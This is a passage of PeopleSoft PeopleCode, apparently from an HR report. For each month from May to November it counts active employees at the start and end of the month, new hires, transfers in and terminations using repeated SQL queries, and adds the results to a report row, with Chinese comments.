5月数据 &mayCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_5, &mayCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_5, &end_5, &mayCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_5, &end_5, &mayCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_5, &end_5, &mayCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_5, &mayCount6); &mayCount = Round((&mayCount1 + &mayCount6) / 2.0, 0); &reportRow.addString(String(&mayCount)); /* 月度平均人数 */ &reportRow.addString(String(&mayCount1)); /* 月初人数 */ &reportRow.addString(String(&mayCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&mayCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&mayCount4)); /* 本月减少:离职人数 */ &mayCount5 = Abs(&mayCount6 - &mayCount1 - &mayCount2 - &mayCount3 - &mayCount4); &reportRow.addString(String(&mayCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&mayCount6)); /* 月末人数 */ /* 6月数据 &junCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_6, &junCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_6, &end_6, &junCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_6, &end_6, &junCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_6, &end_6, &junCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_6, &junCount6); &junCount = Round((&junCount1 + &junCount6) / 2.0, 0); &reportRow.addString(String(&junCount)); /* 月度平均人数 */ &reportRow.addString(String(&junCount1)); /* 月初人数 */ &reportRow.addString(String(&junCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&junCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&junCount4)); /* 本月减少:离职人数 */ &junCount5 = Abs(&junCount6 - &junCount1 - &junCount2 - &junCount3 - &junCount4); &reportRow.addString(String(&junCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&junCount6)); /* 月末人数 */ /* 7月数据 &julCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_7, &julCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_7, &end_7, &julCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_7, &end_7, &julCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_7, &end_7, &julCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_7, &julCount6); &julCount = Round((&julCount1 + &julCount6) / 2.0, 0); &reportRow.addString(String(&julCount)); /* 月度平均人数 */ &reportRow.addString(String(&julCount1)); /* 月初人数 */ &reportRow.addString(String(&julCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&julCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&julCount4)); /* 本月减少:离职人数 */ &julCount5 = Abs(&julCount6 - &julCount1 - &julCount2 - &julCount3 - &julCount4); &reportRow.addString(String(&julCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&julCount6)); /* 月末人数 */ /* 8月数据 &augCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_8, &augCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_8, &end_8, &augCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_8, &end_8, &augCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_8, &end_8, &augCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_8, &augCount6); &augCount = Round((&augCount1 + &augCount6) / 2.0, 0); &reportRow.addString(String(&augCount)); /* 月度平均人数 */ &reportRow.addString(String(&augCount1)); /* 月初人数 */ &reportRow.addString(String(&augCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&augCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&augCount4)); /* 本月减少:离职人数 */ &augCount5 = Abs(&augCount6 - &augCount1 - &augCount2 - &augCount3 - &augCount4); &reportRow.addString(String(&augCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&augCount6)); /* 月末人数 */ /* 9月数据 &sepCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_9, &sepCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_9, &end_9, &sepCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_9, &end_9, &sepCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_9, &end_9, &sepCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_9, &sepCount6); &sepCount = Round((&sepCount1 + &sepCount6) / 2.0, 0); &reportRow.addString(String(&sepCount)); /* 月度平均人数 */ &reportRow.addString(String(&sepCount1)); /* 月初人数 */ &reportRow.addString(String(&sepCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&sepCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&sepCount4)); /* 本月减少:离职人数 */ &sepCount5 = Abs(&sepCount6 - &sepCount1 - &sepCount2 - &sepCount3 - &sepCount4); &reportRow.addString(String(&sepCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&sepCount6)); /* 月末人数 */ /* 10月数据 &octCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_10, &octCount1); /* 本月新增:新入职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('HIR','REH') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_10, &end_10, &octCount2); /* 本月新增:调入人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION ='XFR' AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_10, &end_10, &octCount3); /* 本月减少:离职人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.ACTION IN ('TER','RET') AND J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT <=:4 AND J.EFFDT >=:3 AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &start_10, &end_10, &octCount4); /* 月末人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND T.TREE_NODE = A.DEPTID AND T.effdt = (SELECT MAX(T1.EFFDT) FROM PS_C_DEPT_TREE_VWA T1 WHERE T1.setid = T.setid AND T1.effdt <= :3) )", &c_gp_rptID, &aColCode, &end_10, &octCount6); &octCount = Round((&octCount1 + &octCount6) / 2.0, 0); &reportRow.addString(String(&octCount)); /* 月度平均人数 */ &reportRow.addString(String(&octCount1)); /* 月初人数 */ &reportRow.addString(String(&octCount2)); /* 本月新增:新入职人数 */ &reportRow.addString(String(&octCount3)); /* 本月新增:调入人数 */ &reportRow.addString(String(&octCount4)); /* 本月减少:离职人数 */ &octCount5 = Abs(&octCount6 - &octCount1 - &octCount2 - &octCount3 - &octCount4); &reportRow.addString(String(&octCount5)); /* 本月减少:调出人数 */ &reportRow.addString(String(&octCount6)); /* 月末人数 */ /* 11月数据 &novCount-6*/ /* 月初人数 */ SQLExec("SELECT COUNT(*) FROM PS_JOB J WHERE J.HR_STATUS = 'A' AND J.EMPL_RCD = '0' AND J.EFFSEQ = '0' AND J.Empl_Class IN (" | &bColCode | ") AND J.EFFDT = (SELECT MAX(J2.EFFDT) FROM PS_JOB J2 WHERE J2.EMPLID = J.EMPLID AND J2.EMPL_RCD = J.EMPL_RCD AND J2.EFFDT <=:3) AND j.deptid IN (SELECT T.tree_node_child FROM PS_C_DEPT_TREE_VWA T ,PS_C_GPANA_RPT_L2 A WHERE A.C_GP_RPT_ID = :1 AND A.SEQNBR = :2 AND T.SETID = A.BUSINESS_UNIT AND 